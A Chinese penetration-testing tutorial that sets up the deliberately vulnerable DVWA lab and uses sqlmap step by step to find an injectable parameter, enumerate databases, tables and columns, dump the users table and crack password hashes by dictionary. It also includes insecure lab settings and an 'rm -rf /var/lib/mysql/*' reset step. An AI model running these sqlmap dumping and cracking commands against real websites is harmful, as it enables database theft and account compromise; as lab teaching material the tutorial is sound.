使用sqlmap检测sql注入漏洞

article/2025/7/15 5:12:44

一、 sql注入概述并安装sqlmap漏洞查看工具

1、 sql注入概述
所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
它是利用现有应用程序,可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库。
比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击。例:12306.cn和csdn等网站帐号和密码的泄露,都有可能是sql注入导致的。

2、 什么是sqlmap?
SQLmap是一款用来检测与利用SQL注入漏洞的免费开源工具,有一个非常棒的特性,即对检测与利用的自动化处理(数据库指纹、访问底层文件系统、执行命令)。
官方网站下载http://sqlmap.org/

3、 安装sqlmap
环境说明:
主机名 IP地址 作用
xuegod120.com 192.168.0.120 SQLmap
xuegod130.com 192.168.0.130 DVWA渗透测试演练系统

1) 安装python环境
默认系统中已经安装过python环境
[root@xuegod120 ~]# python -V
在这里插入图片描述
如果没有安装python,可以直接使用yum安装
yum -y install python

2) 安装sqlmap
将下载的sqlmap软件包上传到服务器,然后解压缩
[root@xuegod120 ~]# tar xf sqlmapproject-sqlmap-1.0.9-87-g7eab1bc.tar.gz
在这里插入图片描述
sqlmap用的是python编写,属于解释型语言,需要编译,可以直接使用。

3) 运行sqlmap
[root@xuegod120 sqlmapproject-sqlmap-7eab1bc]# ./sqlmap.py
在这里插入图片描述
这里因为没有加相关参数,所以有一个错误提示。

4) 创建sqlmap命令
[root@xuegod120 ~]# ln -s /root/sqlmapproject-sqlmap-7eab1bc/sqlmap.py /usr/bin/sqlmap
[root@xuegod120 ~]# sqlmap -h
在这里插入图片描述
可以直接使用sqlmap命令

二、 安装渗透测试演练系统DVWA

DVWA (Dam Vulnerable Web Application)DVWA是用PHP+Mysql编写的一套用于常规WEB漏洞教学和检测的WEB脆弱性测试程序。包含了SQL注入、XSS、盲注等常见的一些安全漏洞。
官方网站:链接地址:http://www.dvwa.co.uk 由于是国外的网站,有时可能会打不开。
注: .uk 是英国的域名后缀。英国的全称是大不列颠及北爱尔兰联合王国,又简称英国〔United Kingdom,UK〕

1、 在xuegod130上部署LAMP环境
[root@xuegod130 ~]# yum -y install httpd php php-mysql php-gd mariadb-server mariadb
2、 启动httpd、mariadb
[root@xuegod130 ~]# systemctl start httpd
[root@xuegod130 ~]# systemctl start mariadb
如果启动mariadb报如下错误
在这里插入图片描述
只需要按照提示清空/var/lib/mysql/目录下的文件即可
[root@xuegod130 ~]# rm -rf /var/lib/mysql/*
[root@xuegod130 ~]# systemctl start mariadb
在这里插入图片描述

3、 创建php探针脚本,测试LAMP环境是否搭建完毕
[root@xuegod130 ~]# vim /var/www/html/test.php

<?php phpinfo(); ?>

访问测试
在这里插入图片描述

4、 配置mysql数据库
[root@xuegod130 ~]# mysqladmin -uroot password “123456” #配置密码为123456
[root@xuegod130 ~]# mysql -uroot -p123456 #登录数据库

5、 下载DVWA渗透系统代码上传到服务器,并解压到根目录下
[root@xuegod130 ~]# yum -y install unzip
[root@xuegod130 ~]# unzip -d /var/www/html/ DVWA-1.9.zip
在这里插入图片描述
6、 编辑DVWA配置文件
配置数据库信息,user和password是mysql的用户名和密码
[root@xuegod130 ~]# vim /var/www/html/DVWA-1.9/config/config.inc.php
15 $_DVWA[ ‘db_server’ ] = ‘127.0.0.1’;
16 $_DVWA[ ‘db_database’ ] = ‘dvwa’;
17 $_DVWA[ ‘db_user’ ] = ‘root’;
18 $_DVWA[ ‘db_password’ ] = ‘123456’; #只需要修改成你的mysql的root用户密码

7、 部署DVWA网站系统
访问http://192.168.0.130/DVWA-1.9/setup.php
在这里插入图片描述

看提示有错误,按照如下修改即可

[root@xuegod130 ~]# vim /etc/php.ini
改:815 allow_url_include = Off
为: allow_url_include = On
[root@xuegod130 ~]# systemctl restart httpd

报错: reCAPTCHA key: Missing
扩展:
reCAPTCHA概述:CMU设计了一个名叫reCAPTCHA的强大系统,让他们的电脑去向人类求助。具体做法是:将OCR(光学字符识别)软件无法识别的文字扫描图传给世界各大网站,用以替换原来的验证码图片;那些网站的用户在正确识别出这些文字之后,其答案便会被传回CMU。
OCR概述:OCR (Optical Character Recognition,光学字符识别)是指电子设备(例如扫描仪或数码相机)检查纸上打印的字符,通过检测暗、亮的模式确定其形状,然后用字符识别方法将形状翻译成计算机文字的过程;
解决方法:
[root@xuegod130 ~]# vim /var/www/html/DVWA-1.9/config/config.inc.php
改:
26 $_DVWA[ ‘recaptcha_public_key’ ] = ‘’;
27 $_DVWA[ ‘recaptcha_private_key’ ] = ‘’;
为:
$_DVWA[ ‘recaptcha_public_key’ ] = ‘6LdK7xITAAzzAAJQTfL7fu6I-0aPl8KHHieAT_yJg’;
$_DVWA[ ‘recaptcha_private_key’ ] = ‘6LdK7xITAzzAAL_uw9YXVUOPoIHPZLfw2K1n5NVQ’;

扩展:生成自己的谷歌开源免费验证码reCAPTCHA的公钥和私钥。
上面修改的值就是公钥和私钥值,可以自己在谷歌 后生成私人的公钥和私钥
访问https://www.google.com/recaptcha/admin/create并用google账户登录,在文本框输入自己网站的网址,如global-key.mycompany.com ,点击create key,生成Public Key和Private Key。
在这里插入图片描述

修改后再次访问,错误已经没有了。
在这里插入图片描述
8、 点击“Create/Reset Database”,等待2S中后会自动跳转到管理页面

9、 管理页面登录方式
http://192.168.0.130/DVWA-1.9/login.php
在这里插入图片描述

三、 使用sqlmap进行sql注入,并获取后台管理员的账号和密码

SQLmap语法:SQLmap命令选项被归类为目标(Target)选项、请求(Request)选项、优化、注入、检测、技巧(Techniques)、指纹、枚举等。
查看sqlmap.py 帮助选项:
在这里插入图片描述
sqlmap常用参数:
-u : 指定目标URL,sql注入点
–cookie : 当前会话的cookie值
-b : 获取数据库类型 检索数据库管理系统的标识
(DBMS:Database Management System 数据库管理系统)
–current-db : 获取当前数据库
–current-user :获取当前登录数据库使用的用户

实战1:枚举登录MYSQL数据库的用户名与密码
实战2:枚举所有数据库
实战3:枚举指定数据库的数据表
实战4:获取dvwa库中users表的所有列名字:
实战5:拖库,指定数据表中的所有用户名与密码暴力破解成明文密码并dump下来

1、 枚举登录mysql数据库的用户名和密码
使用sqlmap之前需要得到当前会话的cookie等信息,用来在渗透过程中维持连接状态
cookie使用其复数形式成为cookies,指某些网站为了识别用户的身份,进行session跟踪,而存储在用户本地终端上的数据,这些数据通常都是加密的。
只要是登录过网站,就会在本地产生cookie,主要用于身份识别,进行session跟踪。

1) 抓取cookie值
使用360浏览器或谷歌、火狐浏览器,打开网站,登录上用户名和密码,进入开发模式
在这里插入图片描述

2) 为了方便演示,修改DVWA安全等级为low
在这里插入图片描述

3) 进入“SQL Injection”部分,输入任意值提交。
在这里插入图片描述
http://192.168.0.130/DVWA-1.9/vulnerabilities/sqli/?id=22&Submit=Submit
可以看到我们提交的22值后返回的结果,此页面就是我们的目标页面

4) 获取当前页面的cookie值
在这里插入图片描述
复制cookie值后,排成如下格式:
security=low;PHPSESSID=glp39jv1sjcs2gbem1pu105hu2

5) 获取数据库的用户名和当前正在使用的数据库名称
[root@xuegod120 ~]# sqlmap -u “http://192.168.0.130/DVWA-1.9/vulnerabilities/sqli/?id=22&Submit=Submit” --cookie=" security=low;PHPSESSID=glp39jv1sjcs2gbem1pu105hu2" -b --current-db --current-user

回车后中间会有几个选项,每项含义如下
it looks like the back-end DBMS is ‘MySQL’. Do you want to skip test payloads specific for other DBMSes? [Y/n] #看起来后端DBMS是“mysql”。是否要跳过特定于其他DBMS的测试有效负载? #已经识别出来mysql数据库,直接跳过,不在扫描其他类型的数据库,输入Y

for the remaining tests, do you want to include all tests for ‘MySQL’ extending provided level (1) and risk (1) values? [Y/n] #对于其余的测试,是否要包括扩展提供的级别(1)和风险(1)值的“mysql”的所有测试? #不需要其他测试,直接输入n

GET parameter ‘id’ is vulnerable. Do you want to keep testing the others (if any)? [y/N]
#get参数“id”易受攻击。你想继续测试其他人吗(如果有的话)?[y/n] 输入n

最后结果输出如下:
在这里插入图片描述

2、 使用命令枚举所有登录mysql数据库的用户名和密码hash值,后期可以对密码hash进行破解,生成明文密码
常用参数:
–string : 当查询可用时用来匹配页面中的字符串
–users : 枚举DBMS用户
–password : 枚举DBMS用户密码hash

[root@xuegod120 ~]# sqlmap -u “http://192.168.0.130/DVWA-1.9/vulnerabilities/sqli/?id=22&Submit=Submit” --cookie=“security: low; PHPSESSID: q03ei52p498fa925ntjbhleo90” --string=“Surname” --users –password

弹出消息的含义:
do you want to store hashes to a temporary file for eventual further processing withother tools [y/N] #是否要将哈希存储到临时文件中,以便最终使用其他工具进行进一步处理

do you want to perform a dictionary-based attack against retrieved password hashes? [Y/n/q]
#是否要对检索到的密码哈希执行基于字典的攻击?输入y

what dictionary do you want to use? #你想用什么字典?
[1] default dictionary file ‘/root/sqlmapproject-sqlmap-7eab1bc/txt/wordlist.zip’ (press Enter)
#默认字典文件’/root/sqlmapproject-sqlmap-7eab1bc/txt/wordlist.zip’(按Enter键)
[2] custom dictionary file #自定义词典文件
[3] file with list of dictionary files #带字典文件列表的文件
#直接回车,使用默认字典
do you want to use common password suffixes? (slow!) [y/N]
#是否要使用常用密码后缀?(慢!)输入y

运行结果如下:
在这里插入图片描述
3、 枚举DVWA库中的表
常用参数
-D : 要枚举的DBMS数据库
–tables : 枚举DBMS数据库中的数据表

[root@xuegod120 ~]# sqlmap -u “http://192.168.0.130/DVWA-1.9/vulnerabilities/sqli/?id=22&Submit=Submit” --cookie=“security=low;PHPSESSID=q03ei52p498fa925ntjbhleo90” -D dvwa –tables

运行结果如下;
在这里插入图片描述

4、 获取dvwa库中users表的所有列名字
常用参数
-T : 要枚举的DBMS数据库表
–columns : 枚举DBMS数据库表中的所有列

[root@xuegod120 ~]# sqlmap -u “http://192.168.0.130/DVWA-1.9/vulnerabilities/sqli/?id=22&Submit=Submit” --cookie=“security=low;PHPSESSID=q03ei52p498fa925ntjbhleo90” -D dvwa -T users –columns

运行结果如下:
在这里插入图片描述
5、拖库,获取dvwa库中users表的所有列的名字
拖库本来是数据库领域的术语,指从数据库中导出数据。到了黑客攻击泛滥的今天,它被用来指网站遭到入侵后,黑客窃取其数据库。
常用参数:
-T : 要枚举的DBMS数据表
-C: 要枚举的DBMS数据表中的列
–dump : 转储DBMS数据表项

[root@xuegod120 ~]# sqlmap -u “http://192.168.0.130/DVWA-1.9/vulnerabilities/sqli/?id=22&Submit=Submit” --cookie=“security=low;PHPSESSID=q03ei52p498fa925ntjbhleo90” -D dvwa -T users -C user,password –dump

弹出消息含义:
do you want to store hashes to a temporary file for eventual further processing withother tools [y/N] #是否要将哈希值存储到临时文件中,以便其他工具进行处理?

do you want to crack them via a dictionary-based attack? [Y/n/q]
#你想通过基于字典的攻击破解它们吗?dictionary-based attack基于字典的攻击

what dictionary do you want to use? #你想用什么字典?
[1] default dictionary file ‘/root/sqlmapproject-sqlmap-7eab1bc/txt/wordlist.zip’ (press Enter)
#默认字典文件’/root/sqlmapproject-sqlmap-7eab1bc/txt/wordlist.zip’(按Enter键)
[2] custom dictionary file #自定义词典文件
[3] file with list of dictionary files #带字典文件列表的文件
#直接回车,使用默认字典
do you want to use common password suffixes? (slow!) [y/N]
#是否要使用常用密码后缀?(慢!)输入y

运行结果如下:
在这里插入图片描述
从图中可以看出破解得到的密码是经过hash值加密的,但是sqlmap可以导出sql数据,帮你解析成明文密码。

查看导出的数据:
[root@xuegod120 ~]# cat /root/.sqlmap/output/192.168.0.130/dump/dvwa/users.csv
user,password
在这里插入图片描述


http://chatgpt.dhexx.cn/article/Q8dYrWYR.shtml

相关文章

sql注入在线检测(sqlmapapi)

之前一搞渗透的同事问我&#xff0c;sqlmapapi.py是干啥的&#xff0c;我猜很多人都玩过sqlmap&#xff0c;但玩过sqlmapapi的应该比较少&#xff0c;今天就和大家一起看看如何使用以及一些美的地方。 说白了&#xff0c;sqlmapapi.py就是提供了一个检查sql注入的接口&#xf…

SQLMap sql注入检测工具使用

摘要1&#xff1a;https://www.freebuf.com/sectool/164608.html 摘要2&#xff1a;https://blog.csdn.net/qq_33530840/article/details/82144515 sqlmap是一个开源的渗透测试工具&#xff0c;可以用来进行自动化检测&#xff0c;利用SQL注入漏洞&#xff0c;获取数据库服务器…

Python 开发 利用SQLmap API接口进行批量的SQL注入检测.(SRC挖掘)

目录&#xff1a; SQL注入检测步骤&#xff1a; &#xff08;1&#xff09;创建新任务记录任务ID. &#xff08;2&#xff09;设置任务ID的配置信息.(扫描信息) &#xff08;3&#xff09;启动对应ID的扫描任务. &#xff08;4&#xff09;获取对应ID的扫描状态. &#x…

使用sqlmap进行SQL注入检测

最近公司项目被扫描出有SQL注入的漏洞,通过百度之后,决定使用sqlmap进行SQL注入的检测。这里仅仅是记录一下注入检测的步骤。 检测前准备 sqlmap是一个python编写的工具,因此我们首先要进行python环境的搭建,然后再从sqlmap官网下载最新版本。 检测步骤 查看需要检测的注入…

安全测试之sql注入

目录 1. 概述1.1 web安全渗透测试分类web数据库安全&#xff08;sql注入漏洞&#xff09;web应用服务器安全&#xff08;文件上传漏洞&#xff0c;文件包含漏洞&#xff09;web客户端安全&#xff08;XSS跨站攻击&#xff09; 1.2 sql注入原理1.3 sql注入危害1.4 sql注入实现方…

渗透测试之sql注入

原文地址 什么是SQL注入&#xff1f; SQL 注入&#xff08;SQL Injection&#xff09;是发生在 Web 程序中数据库层的安全漏洞&#xff0c;是网站存在最多也是最简单的漏洞。主要原因是程序对用户输入数据的合法性没有判断和处理&#xff0c;导致攻击者可以在 Web 应用程序中事…

如何快乐地检测SQL注入

这估计大家也都发现了&#xff0c;测试SQL注入这种漏洞啊&#xff0c;又有WAF页面又没有明显的报错的情况下, 测试起来就是一个字&#xff0c;烦。 有waf&#xff1a; 我 and 11, 啪&#xff0c;它拦了。 我 order by, 啪&#xff0c;它拦了。 我 sleep(5), 啪&#xff0c;…

SQL注入(一)之原理与检测

一 SQL注入攻击原理 01 注射式攻击的原理 注入产生的原因是接受相关参数未经处理直接带入数据库查询操作;注入攻击属于服务端攻击&#xff0c;他与操作系统、数据库类型、脚本语言类型无关总之一句话: 注入产生的原因是接受相关参数未经处理直接带入数据库查询操作。02 sql注入…

25显函数求导数

1、显函数求导数

人工智能之数学基础----隐函数求导和相关变化率

本章主要讲解隐函数求导和相关变化率&#xff0c;大家理解什么叫隐函数及其如何求导 隐函数求导 相关变化率 隐函数求导 首先我们来理清什么叫隐函数&#xff0c;讲解隐函数之前我们来讲显函数&#xff0c;因为隐函数是相对显函数而言的 y f ( x ) yf(x) yf(x)像这种函数中&am…

Python应用:画出任意二维函数的轨迹

一、提要 对于显函数&#xff0c;其曲线可以通过给出定义域和对应的函数值画出。然而对于一些隐函数&#xff0c;不能显式表达&#xff0c;其曲线如何画出&#xff1f;如果从定义域内&#xff0c;逐点求出函数值&#xff0c;然后画出点序就不是一个很好的主意。用计算方法求出所…

Matlab之函数绘图函数ezplot

一、功能 可以直接调用ezplot进行函数绘制 二、语法 1.ezplot(fun) 绘制表达式 fun(x) 在默认定义域 -2π < x < 2π 上的图形&#xff0c;其中 fun(x) 仅是 x 的显函数。 fun 可以是函数句柄、字符向量或字符串。 2.ezplot(fun,[xmin,xmax]) 绘制 fun(x) 在以下域…

隐函数作图

背景介绍 Matlab提供了一系列绘图函数&#xff0c;常见的包括绘制2D曲线的plot函数、绘制2D隐函数曲线的ezplot函数、绘制3D曲面的mesh和surf函数、绘制3D显函数曲面的ezmesh和ezsurf函数。值得注意的是&#xff0c;ez系列的绘图函数里只有ezplot是绘制隐函数曲线的&#xff0c…

基础30讲 第11讲 多元函数微分学

目录 综述1、基本概念1.1 平面点集邻域边界区域聚点 1.2 极限1.3 连续1.4 偏导数1.5 可微1.6 偏导数的连续性 2、多元函数微分法则2.1 链式求导法则2.2 隐函数存在定理&#xff08;公式法&#xff09; 3、多元函数的极值与最值3.1 概念3.2 无条件极值(数学公式计算只适用于2元)…

MATLAB符号函数绘制各种函数图像,ezplot()函数 ezplot3()函数

我们学习常遇见的函数种类有显函数&#xff0c;隐函数&#xff0c;参数方程三种&#xff0c;对于隐函数绘制图像比较麻烦&#xff0c;给大家介绍一种简单实用的一中画函数的方法。 函数介绍 二维曲线ezplot()函数 ezplot()函数用于绘制显函数&#xff0c;隐函数&#xff0c;…

9.5 隐函数求导法则

本篇内容我们说一下隐函数求导的法则&#xff0c;之前在初次接触导数的时候&#xff0c;我们有总结过一部分隐函数求导的内容&#xff0c;虽然和本篇的内容有一部分相似&#xff0c;但是可以再看一看用于对比理解。上正文。 一、概念阐明 1.什么叫隐函数&#xff1f; 形如F(x…

MATLAB绘图命令fimplicit绘制隐函数图形入门详解

一、fimplicit基本语法 数学上的一元函数可以分为显函数和隐函数两大类&#xff0c;显函数的优点是能够明显的看出来因变量和自变量之间的关系&#xff0c;也就是对应法则&#xff0c;但是隐函数往往无法看出对应法则&#xff0c;而且很多时候都不能轻松的转化为显函数。 fplot…

高数-隐函数求导

目录 什么是隐函数 一个方程&#xff0c;两个未知数 一个方程&#xff0c;三个未知数 方程组求偏导 隐函数求导一般有两种情形&#xff0c;一种是单个方程&#xff0c;另一种是方程组。下面来介绍这两种情形的求导方法。 什么是隐函数 首先我们要明确&#xff1a;什么是隐函…

数学分析 - 隐函数

简介&#xff1a;用多元函数&#xff08;隐函数中自变量和因变量同时存在的表达式的作为多元函数的表达式&#xff09;的思维来分析隐函数 隐函数的概念 || 定义&#xff1a;隐函数的定义&#xff08;一个多元函数F(x, y)构成的方程F(x, y) 0&#xff0c;隐含了一个隐函数yf(…

MATLAB二元隐函数绘图命令fimplicit3详解

一、引言 fimplicit3功能是绘制二元隐函数的曲面图形。 类似于一元函数分为显函数和隐函数&#xff0c;二元函数也有显函数和隐函数之分。形如zf(x,y)的二元函数称为显函数&#xff0c;而由三元方程f(x,y&#xff0c;z)0确定的二元函数称为隐函数。 二元函数对应的几何图形是空…